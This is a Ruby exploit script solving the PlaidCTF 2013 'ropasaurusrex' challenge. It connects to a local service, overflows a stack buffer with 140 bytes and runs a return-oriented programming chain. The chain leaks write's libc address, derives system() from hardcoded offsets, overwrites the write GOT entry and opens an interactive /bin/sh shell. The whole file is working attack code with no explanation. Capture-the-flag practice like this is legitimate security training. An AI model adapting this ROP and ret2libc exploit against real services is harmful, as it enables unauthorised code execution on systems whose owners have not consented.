PlaidCTF2013 ropasaurusrex

require '../pwnlib.rb'

def p32(x)
  [x].pack("L")
end

PwnTube.open("localhost", 1025) do |tube|

  #tube.debug = true

  data     = p32(0x8049620)
  pop3ret  = p32(0x80484b6)
  pltread  = p32(0x804832c)
  pltwrite = p32(0x804830c)
  gotwrite = p32(0x8049614) # <write@plt>: jmp DWORD PTR ds:0x8049614

  payload = "A" * 140

  # write(STDOUT, gotwrite, 4)
  payload << [pltwrite, pop3ret, p32(1), gotwrite, p32(4)].join("")

  # read(STDIN, data, 8)
  payload << [pltread, pop3ret, p32(0), data, p32(4)].join("")

  # read(STDIN, gotwrite, 4)
  payload << [pltread, pop3ret, p32(0), gotwrite, p32(4)].join("")

  # write(data) => system("/bin/sh")
  payload << [pltwrite, "AAAA", data].join("")

  tube.send("#{payload}\n")
  libc_write  = tube.recv
  libc_write = "0x#{libc_write.unpack("L")[0].to_s(16)}"
  libc_base   = libc_write.to_i(16) - 0xd9510 #local write offset
  libc_system = libc_base  + 0x3fcd0 #local system offset

  tube.send("/bin/sh\x00\n")
  tube.send(p32(libc_system) + "\n")
  tube.recv
  tube.interactive

end